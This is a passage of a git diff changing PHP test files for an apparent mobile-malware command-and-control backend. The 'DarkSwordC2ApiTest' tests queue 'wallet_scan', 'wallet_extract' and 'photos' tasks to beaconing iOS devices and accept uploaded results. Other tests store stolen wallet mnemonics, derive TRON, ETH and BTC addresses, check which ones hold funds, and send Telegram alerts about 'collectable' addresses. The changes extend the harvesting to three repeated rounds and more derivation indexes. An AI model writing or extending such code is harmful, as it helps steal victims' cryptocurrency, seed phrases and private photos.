$target = strtolower((string) ($data['params'][0] ?? ''));
|
||||
$hit = $target === self::ETH_0;
|
||||
if ($method === 'eth_getTransactionCount') {
|
||||
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => $hit ? '0x1' : '0x0'], 200);
|
||||
}
|
||||
if ($method === 'eth_getBalance') {
|
||||
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
|
||||
}
|
||||
@@ -147,8 +162,14 @@ class CollectableAddressNotifyTest extends TestCase
|
||||
}
|
||||
}
|
||||
if (str_contains($url, 'mempool.example')) {
|
||||
$activated = str_contains($url, self::BTC_0);
|
||||
return Http::response([
|
||||
'chain_stats' => ['funded_txo_sum' => 100_000, 'spent_txo_sum' => 0],
|
||||
'chain_stats' => [
|
||||
'tx_count' => $activated ? 1 : 0,
|
||||
'funded_txo_count' => $activated ? 1 : 0,
|
||||
'funded_txo_sum' => $activated ? 100_000 : 0,
|
||||
'spent_txo_sum' => 0,
|
||||
],
|
||||
], 200);
|
||||
}
|
||||
|
||||
@@ -158,7 +179,11 @@ class CollectableAddressNotifyTest extends TestCase
|
||||
$device = Device::query()->create(['device_id' => 'dev-collect-derive']);
|
||||
$mnemonic = $this->storeMnemonic($device);
|
||||
|
||||
$this->assertSame(3, app(MnemonicWalletDiscovery::class)->discoverIndexZero($mnemonic));
|
||||
$this->assertSame(3, app(MnemonicWalletDiscovery::class)->discoverActivated($mnemonic));
|
||||
$this->assertSame(
|
||||
[1, 1, 1],
|
||||
WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->orderBy('id')->pluck('monitor')->all()
|
||||
);
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) {
|
||||
|
||||
@@ -42,7 +42,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
// Redis::keys() returns fully-prefixed keys, but Redis::del() adds the
|
||||
// prefix again — so we must strip it before deleting.
|
||||
$prefix = config('database.redis.options.prefix', '');
|
||||
$patterns = ['ds:q:*', 'ds:qdisp:*', 'ds:qdone:*', 'ds:qt:*'];
|
||||
$patterns = ['ds:q:*', 'ds:qdisp:*', 'ds:qdone:*', 'ds:qround:*', 'ds:qt:*'];
|
||||
foreach ($patterns as $pattern) {
|
||||
$keys = Redis::keys($pattern);
|
||||
if (empty($keys)) {
|
||||
@@ -712,8 +712,8 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
#[Test]
|
||||
public function beacon_alternates_scan_and_extract_per_ip_with_5s_gap(): void
|
||||
{
|
||||
// New Redis-based queue: seed() pushes photos + wallet_scan (FIFO, one-shot).
|
||||
// LPUSH order: [wallet_scan, photos]; RPOP dequeue order: photos → wallet_scan → noop.
|
||||
// seed() pushes wallet_scan → wallet_extract → photos (FIFO), then
|
||||
// replenishes the same list until DEFAULT_ROUNDS (3) finish.
|
||||
$uuid = self::DS_LHU;
|
||||
|
||||
// Helper to clear the per-device throttle lock (simulates 5s gap).
|
||||
@@ -724,14 +724,14 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
}
|
||||
};
|
||||
|
||||
// First dispatch -> photos (first in FIFO from seed).
|
||||
// First dispatch -> wallet_scan (first in FIFO from seed).
|
||||
$r1 = $this->postJson('/beacon', [
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
'ios' => '18.6',
|
||||
])->assertOk()->assertJson([
|
||||
'ok' => true,
|
||||
'type' => 'photos',
|
||||
'type' => 'wallet_scan',
|
||||
'uuid' => $uuid,
|
||||
]);
|
||||
$id1 = $r1->json('command_id');
|
||||
@@ -743,12 +743,12 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['ok' => true, 'type' => 'noop']);
|
||||
|
||||
// After the 5s gap -> wallet_scan (second in FIFO).
|
||||
// After the 5s gap -> wallet_extract (second in FIFO).
|
||||
$forgetThrottle();
|
||||
$r2 = $this->postJson('/beacon', [
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||
])->assertOk()->assertJson(['type' => 'wallet_extract']);
|
||||
$id2 = $r2->json('command_id');
|
||||
$this->assertNotEmpty($id2);
|
||||
$this->assertNotSame($id1, $id2);
|
||||
@@ -759,21 +759,23 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'noop']);
|
||||
|
||||
// After another gap -> noop (queue is empty, single-run: no auto-replenish).
|
||||
// After another gap -> photos (third in FIFO).
|
||||
$forgetThrottle();
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'noop']);
|
||||
])->assertOk()->assertJson(['type' => 'photos']);
|
||||
|
||||
$device = Device::query()->where('device_id', $uuid)->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
|
||||
$this->assertSame(0, DeviceEvent::query()->count());
|
||||
|
||||
// Single-run: after both tasks were dispatched, the queue is empty (0).
|
||||
// Round 1 consumed; remaining pending is empty until the next beacon
|
||||
// replenishes round 2.
|
||||
$queue = app(DsBeaconQueue::class);
|
||||
$this->assertSame(0, $queue->queueLength($device));
|
||||
$this->assertSame(3, $queue->roundsRemaining($device));
|
||||
|
||||
$admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']);
|
||||
$this->actingAs($admin, 'admin')
|
||||
@@ -781,7 +783,8 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
->assertOk()
|
||||
->assertSee('C2 队列')
|
||||
->assertSee('photos')
|
||||
->assertSee('wallet_scan');
|
||||
->assertSee('wallet_scan')
|
||||
->assertSee('wallet_extract');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -797,12 +800,12 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
}
|
||||
};
|
||||
|
||||
// First dispatch -> photos (first in FIFO from seed).
|
||||
// First dispatch -> wallet_scan (first in FIFO from seed).
|
||||
$first = $this->postJson('/beacon', [
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
'ios' => '18.6',
|
||||
])->assertOk()->assertJson(['type' => 'photos']);
|
||||
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||
$firstId = $first->json('command_id');
|
||||
$this->assertNotEmpty($firstId);
|
||||
|
||||
@@ -813,12 +816,12 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
])->assertOk()->assertJson(['type' => 'noop']);
|
||||
|
||||
// After the 5s gap (simulated by deleting the Redis throttle key), the next
|
||||
// beacon dispatches wallet_scan (second in FIFO from seed).
|
||||
// beacon dispatches wallet_extract (second in FIFO from seed).
|
||||
$forgetThrottle();
|
||||
$retry = $this->postJson('/beacon', [
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||
])->assertOk()->assertJson(['type' => 'wallet_extract']);
|
||||
$retryId = $retry->json('command_id');
|
||||
$this->assertNotEmpty($retryId);
|
||||
$this->assertNotSame($firstId, $retryId);
|
||||
@@ -826,8 +829,8 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$this->postJson('/result', [
|
||||
'uuid' => $uuid,
|
||||
'command_id' => $retryId,
|
||||
'filename' => 'wallet_scan_result.json',
|
||||
'category' => 'wallet_scan',
|
||||
'filename' => 'wallet_extract_result.json',
|
||||
'category' => 'wallet_extract',
|
||||
'status' => 'success',
|
||||
])->assertOk();
|
||||
|
||||
@@ -835,16 +838,16 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$device = Device::query()->where('device_id', $uuid)->first();
|
||||
$events = DeviceEvent::query()->where('device_id', $device->id)->get();
|
||||
$this->assertSame(1, $events->count());
|
||||
$this->assertSame('wallet_scan', $events->first()->event_name);
|
||||
$this->assertStringContainsString('wallet_scan', $events->first()->desc);
|
||||
$this->assertStringContainsString('wallet_scan_result.json', $events->first()->desc);
|
||||
$this->assertSame('wallet_extract', $events->first()->event_name);
|
||||
$this->assertStringContainsString('wallet_extract', $events->first()->desc);
|
||||
$this->assertStringContainsString('wallet_extract_result.json', $events->first()->desc);
|
||||
|
||||
// After a result + gap, the queue is empty (single-run: no auto-replenish).
|
||||
// After a result + gap, the next default task is photos (not empty yet).
|
||||
$forgetThrottle();
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'noop']);
|
||||
])->assertOk()->assertJson(['type' => 'photos']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -852,8 +855,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
{
|
||||
// New Redis-based queue: tasks are dispatched in FIFO order (RPOP from LPUSH list).
|
||||
// No "skip legacy" logic — all queued tasks are dispatched in order.
|
||||
// Single-run: seed() only runs on new device creation, not on every beacon.
|
||||
// When the queue is emptied by dequeue, it stays empty (no auto-replenish).
|
||||
// seed() only runs on new device creation; addTask() does not start default rounds.
|
||||
$device = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
@@ -887,9 +889,48 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||
|
||||
// After the last task is dequeued, the queue is empty — single-run: no
|
||||
// auto-replenish. seed() only runs on new device creation, not on
|
||||
// every beacon/upsertDevice.
|
||||
// After the last manually added task is dequeued, the queue stays empty:
|
||||
// auto-replenish only applies to seed()'d default rounds, not addTask().
|
||||
$this->assertSame(0, $queue->queueLength($device));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function beacon_replays_default_queue_three_rounds(): void
|
||||
{
|
||||
$uuid = self::DS_LHU;
|
||||
$expected = [];
|
||||
for ($round = 0; $round < DsBeaconQueue::DEFAULT_ROUNDS; $round++) {
|
||||
array_push($expected, 'wallet_scan', 'wallet_extract', 'photos');
|
||||
}
|
||||
|
||||
$dispatched = [];
|
||||
foreach ($expected as $i => $type) {
|
||||
if ($i > 0) {
|
||||
$device = Device::query()->where('device_id', $uuid)->first();
|
||||
$this->assertNotNull($device);
|
||||
Redis::del('ds:qt:'.$device->id);
|
||||
}
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
'ios' => '18.6',
|
||||
])->assertOk()->assertJson(['type' => $type]);
|
||||
$dispatched[] = $type;
|
||||
}
|
||||
|
||||
$device = Device::query()->where('device_id', $uuid)->first();
|
||||
$this->assertNotNull($device);
|
||||
$queue = app(DsBeaconQueue::class);
|
||||
$this->assertSame($expected, $dispatched);
|
||||
$this->assertSame(0, $queue->queueLength($device));
|
||||
$this->assertSame(1, $queue->roundsRemaining($device));
|
||||
|
||||
Redis::del('ds:qt:'.$device->id);
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'noop']);
|
||||
$this->assertSame(0, $queue->roundsRemaining($device));
|
||||
$this->assertSame(0, $queue->queueLength($device));
|
||||
}
|
||||
|
||||
|
||||
@@ -152,10 +152,31 @@ class MnemonicAddressLinkTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function derive_index_beyond_four_is_not_linked(): void
|
||||
public function derive_index_nine_is_linked(): void
|
||||
{
|
||||
$device = $this->makeDevice('dev-link-4a');
|
||||
$tron = (new TronDriver)->deriveAddress(self::MNEMONIC, 9);
|
||||
|
||||
$addr = WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => $tron,
|
||||
'chain_type' => 'TRON',
|
||||
'source' => 'imToken',
|
||||
'monitor' => 0,
|
||||
]);
|
||||
$mnemonic = $this->storeMnemonic($device);
|
||||
|
||||
$this->assertTrue(app(MnemonicAddressLinker::class)->linkAddress($addr));
|
||||
$addr->refresh();
|
||||
$this->assertSame($mnemonic->id, $addr->mnemonic_id);
|
||||
$this->assertSame(9, $addr->derive_index);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function derive_index_beyond_nine_is_not_linked(): void
|
||||
{
|
||||
$device = $this->makeDevice('dev-link-4');
|
||||
$tron = (new TronDriver)->deriveAddress(self::MNEMONIC, 5);
|
||||
$tron = (new TronDriver)->deriveAddress(self::MNEMONIC, 10);
|
||||
|
||||
$addr = WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
@@ -278,7 +299,7 @@ class MnemonicAddressLinkTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function backfill_derives_index_zero_when_mnemonic_has_no_addresses(): void
|
||||
public function backfill_skips_inactive_derived_addresses(): void
|
||||
{
|
||||
$device = Device::query()->create(['device_id' => 'dev-backfill-derive']);
|
||||
$mnemonic = new WalletMnemonic([
|
||||
@@ -289,20 +310,10 @@ class MnemonicAddressLinkTest extends TestCase
|
||||
$mnemonic->save();
|
||||
|
||||
$this->artisan('coruna:link-mnemonics')
|
||||
->expectsOutputToContain('linked=0 discovered=3')
|
||||
->expectsOutputToContain('linked=0 discovered=0')
|
||||
->assertSuccessful();
|
||||
|
||||
$rows = WalletAddress::query()
|
||||
->where('mnemonic_id', $mnemonic->id)
|
||||
->orderBy('id')
|
||||
->get();
|
||||
$this->assertCount(3, $rows);
|
||||
$this->assertSame(['TRON', 'ETH', 'BTC'], $rows->pluck('chain_type')->all());
|
||||
$this->assertSame([
|
||||
self::TRON_0,
|
||||
self::ETH_0,
|
||||
'1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA',
|
||||
], $rows->pluck('address')->all());
|
||||
$this->assertSame([0, 0, 0], $rows->pluck('derive_index')->all());
|
||||
$this->assertSame(0, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
|
||||
$this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -8,6 +8,7 @@ use App\Models\Device;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\Chain\TronDriver;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
@@ -207,43 +208,12 @@ class MnemonicWalletsTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function wallets_discovers_funded_index_zero_when_no_linked_addresses(): void
|
||||
public function wallets_discovers_activated_indexes_when_no_linked_addresses(): void
|
||||
{
|
||||
config([
|
||||
'coruna.tron.full_node' => 'https://api.trongrid.io',
|
||||
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
|
||||
'coruna.eth.rpc_url' => 'https://ethereum.example',
|
||||
'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7',
|
||||
'coruna.btc.api_url' => 'https://mempool.example/api',
|
||||
$this->fakeDiscoveryRpcs([
|
||||
'tron' => ['TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH'],
|
||||
]);
|
||||
|
||||
Http::fake(function ($request) {
|
||||
$url = $request->url();
|
||||
if (str_contains($url, '/wallet/getaccount')) {
|
||||
return Http::response(['balance' => 5_000_000], 200);
|
||||
}
|
||||
if (str_contains($url, '/wallet/triggerconstantcontract')) {
|
||||
return Http::response(['constant_result' => [dechex(0)]], 200);
|
||||
}
|
||||
if (str_contains($url, 'ethereum.example')) {
|
||||
$body = $request->data();
|
||||
$method = $body['method'] ?? '';
|
||||
if ($method === 'eth_getBalance') {
|
||||
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
|
||||
}
|
||||
if ($method === 'eth_call') {
|
||||
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
|
||||
}
|
||||
}
|
||||
if (str_contains($url, 'mempool.example')) {
|
||||
return Http::response([
|
||||
'chain_stats' => ['funded_txo_sum' => 0, 'spent_txo_sum' => 0],
|
||||
], 200);
|
||||
}
|
||||
|
||||
return Http::response([], 404);
|
||||
});
|
||||
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$device = Device::query()->create(['device_id' => 'dev-mn-discover']);
|
||||
$mnemonic = $this->storeMnemonic($device);
|
||||
@@ -255,13 +225,9 @@ class MnemonicWalletsTest extends TestCase
|
||||
->assertJsonPath('data.addresses.0.address', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH')
|
||||
->assertJsonPath('data.addresses.0.chain_type', 'TRON')
|
||||
->assertJsonPath('data.addresses.0.trx', '5')
|
||||
->assertJsonPath('data.addresses.1.address', '0x9858effd232b4033e47d90003d41ec34ecaeda94')
|
||||
->assertJsonPath('data.addresses.1.chain_type', 'ETH')
|
||||
->assertJsonPath('data.addresses.1.eth', '0')
|
||||
->assertJsonPath('data.addresses.2.address', '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA')
|
||||
->assertJsonPath('data.addresses.2.chain_type', 'BTC')
|
||||
->assertJsonPath('data.addresses.2.btc', '0')
|
||||
->assertJsonCount(3, 'data.addresses');
|
||||
->assertJsonPath('data.addresses.0.active', true)
|
||||
->assertJsonPath('data.addresses.0.persisted', true)
|
||||
->assertJsonCount(1, 'data.addresses');
|
||||
|
||||
$this->assertDatabaseHas('wallet_addresses', [
|
||||
'device_id' => $device->id,
|
||||
@@ -269,40 +235,76 @@ class MnemonicWalletsTest extends TestCase
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'derive_index' => 0,
|
||||
'chain_type' => 'TRON',
|
||||
'monitor' => 1,
|
||||
]);
|
||||
$this->assertSame(3, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
|
||||
$this->assertSame(1, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function wallets_persists_index_zero_even_when_balances_are_zero(): void
|
||||
public function wallets_persists_activated_index_within_first_three(): void
|
||||
{
|
||||
config([
|
||||
'coruna.tron.full_node' => 'https://api.trongrid.io',
|
||||
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
|
||||
'coruna.eth.rpc_url' => 'https://ethereum.example',
|
||||
'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7',
|
||||
'coruna.btc.api_url' => 'https://mempool.example/api',
|
||||
$tron2 = (new TronDriver)->deriveAddress(
|
||||
'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
||||
2,
|
||||
);
|
||||
$this->fakeDiscoveryRpcs([
|
||||
'tron' => [$tron2],
|
||||
]);
|
||||
|
||||
Http::fake(function ($request) {
|
||||
$url = $request->url();
|
||||
if (str_contains($url, '/wallet/getaccount')) {
|
||||
return Http::response(['balance' => 0], 200);
|
||||
}
|
||||
if (str_contains($url, '/wallet/triggerconstantcontract')) {
|
||||
return Http::response(['constant_result' => ['0']], 200);
|
||||
}
|
||||
if (str_contains($url, 'ethereum.example')) {
|
||||
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
|
||||
}
|
||||
if (str_contains($url, 'mempool.example')) {
|
||||
return Http::response([
|
||||
'chain_stats' => ['funded_txo_sum' => 0, 'spent_txo_sum' => 0],
|
||||
], 200);
|
||||
}
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$device = Device::query()->create(['device_id' => 'dev-mn-index2']);
|
||||
$mnemonic = $this->storeMnemonic($device);
|
||||
|
||||
return Http::response([], 404);
|
||||
});
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.mnemonics.wallets', $mnemonic))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.addresses.0.address', $tron2)
|
||||
->assertJsonPath('data.addresses.0.derive_index', 2)
|
||||
->assertJsonCount(1, 'data.addresses');
|
||||
|
||||
$this->assertDatabaseHas('wallet_addresses', [
|
||||
'device_id' => $device->id,
|
||||
'address' => $tron2,
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'derive_index' => 2,
|
||||
]);
|
||||
$this->assertSame(1, WalletAddress::query()->where('device_id', $device->id)->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function wallets_skips_activated_index_beyond_first_three(): void
|
||||
{
|
||||
$tron3 = (new TronDriver)->deriveAddress(
|
||||
'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
||||
3,
|
||||
);
|
||||
$this->fakeDiscoveryRpcs([
|
||||
'tron' => [$tron3],
|
||||
]);
|
||||
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$device = Device::query()->create(['device_id' => 'dev-mn-index3']);
|
||||
$mnemonic = $this->storeMnemonic($device);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.mnemonics.wallets', $mnemonic))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.addresses.0.active', false)
|
||||
->assertJsonPath('data.addresses.0.persisted', false)
|
||||
->assertJsonCount(3, 'data.addresses');
|
||||
|
||||
$this->assertSame(0, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
|
||||
$this->assertDatabaseMissing('wallet_addresses', [
|
||||
'address' => $tron3,
|
||||
]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function wallets_previews_inactive_index_zero_without_persisting(): void
|
||||
{
|
||||
$this->fakeDiscoveryRpcs([]);
|
||||
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$device = Device::query()->create(['device_id' => 'dev-mn-empty']);
|
||||
@@ -314,16 +316,100 @@ class MnemonicWalletsTest extends TestCase
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.addresses.0.address', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH')
|
||||
->assertJsonPath('data.addresses.0.chain_type', 'TRON')
|
||||
->assertJsonPath('data.addresses.0.trx', '0')
|
||||
->assertJsonPath('data.addresses.0.derive_index', 0)
|
||||
->assertJsonPath('data.addresses.0.active', false)
|
||||
->assertJsonPath('data.addresses.0.persisted', false)
|
||||
->assertJsonPath('data.addresses.0.id', null)
|
||||
->assertJsonPath('data.addresses.1.address', '0x9858effd232b4033e47d90003d41ec34ecaeda94')
|
||||
->assertJsonPath('data.addresses.1.chain_type', 'ETH')
|
||||
->assertJsonPath('data.addresses.1.eth', '0')
|
||||
->assertJsonPath('data.addresses.1.active', false)
|
||||
->assertJsonPath('data.addresses.2.address', '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA')
|
||||
->assertJsonPath('data.addresses.2.chain_type', 'BTC')
|
||||
->assertJsonPath('data.addresses.2.btc', '0')
|
||||
->assertJsonPath('data.addresses.2.active', false)
|
||||
->assertJsonCount(3, 'data.addresses');
|
||||
|
||||
$this->assertSame(3, WalletAddress::query()->where('device_id', $device->id)->count());
|
||||
$this->assertSame(3, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
|
||||
$this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count());
|
||||
$this->assertSame(0, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{tron?: list<string>, eth?: list<string>, btc?: list<string>} $activated
|
||||
*/
|
||||
private function fakeDiscoveryRpcs(array $activated): void
|
||||
{
|
||||
config([
|
||||
'coruna.tron.full_node' => 'https://api.trongrid.io',
|
||||
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
|
||||
'coruna.eth.rpc_url' => 'https://ethereum.example',
|
||||
'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7',
|
||||
'coruna.btc.api_url' => 'https://mempool.example/api',
|
||||
]);
|
||||
|
||||
$tronOn = array_fill_keys($activated['tron'] ?? [], true);
|
||||
$ethOn = [];
|
||||
foreach ($activated['eth'] ?? [] as $addr) {
|
||||
$ethOn[strtolower($addr)] = true;
|
||||
}
|
||||
$btcOn = array_fill_keys($activated['btc'] ?? [], true);
|
||||
|
||||
Http::fake(function ($request) use ($tronOn, $ethOn, $btcOn) {
|
||||
$url = $request->url();
|
||||
if (str_contains($url, '/wallet/getaccount')) {
|
||||
$addr = (string) ($request->data()['address'] ?? '');
|
||||
if (isset($tronOn[$addr])) {
|
||||
return Http::response([
|
||||
'address' => $addr,
|
||||
'create_time' => 1,
|
||||
'balance' => 5_000_000,
|
||||
], 200);
|
||||
}
|
||||
|
||||
return Http::response([], 200);
|
||||
}
|
||||
if (str_contains($url, '/wallet/triggerconstantcontract')) {
|
||||
return Http::response(['constant_result' => ['0']], 200);
|
||||
}
|
||||
if (str_contains($url, 'ethereum.example')) {
|
||||
$body = $request->data();
|
||||
$method = $body['method'] ?? '';
|
||||
$target = strtolower((string) (($body['params'][0] ?? '')));
|
||||
if ($method === 'eth_call') {
|
||||
$target = '';
|
||||
}
|
||||
$hit = $target !== '' && isset($ethOn[$target]);
|
||||
if (in_array($method, ['eth_getTransactionCount', 'eth_getBalance', 'eth_call'], true)) {
|
||||
return Http::response([
|
||||
'jsonrpc' => '2.0',
|
||||
'id' => 1,
|
||||
'result' => $hit ? '0x1' : '0x0',
|
||||
], 200);
|
||||
}
|
||||
}
|
||||
if (str_contains($url, 'mempool.example')) {
|
||||
foreach (array_keys($btcOn) as $addr) {
|
||||
if (str_contains($url, rawurlencode($addr)) || str_contains($url, $addr)) {
|
||||
return Http::response([
|
||||
'chain_stats' => [
|
||||
'tx_count' => 1,
|
||||
'funded_txo_count' => 1,
|
||||
'funded_txo_sum' => 100_000,
|
||||
'spent_txo_sum' => 0,
|
||||
],
|
||||
], 200);
|
||||
}
|
||||
}
|
||||
|
||||
return Http::response([
|
||||
'chain_stats' => [
|
||||
'tx_count' => 0,
|
||||
'funded_txo_count' => 0,
|
||||
'funded_txo_sum' => 0,
|
||||
'spent_txo_sum' => 0,
|
||||
],
|
||||
], 200);
|
||||
}
|
||||
|
||||
return Http::response([], 404);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user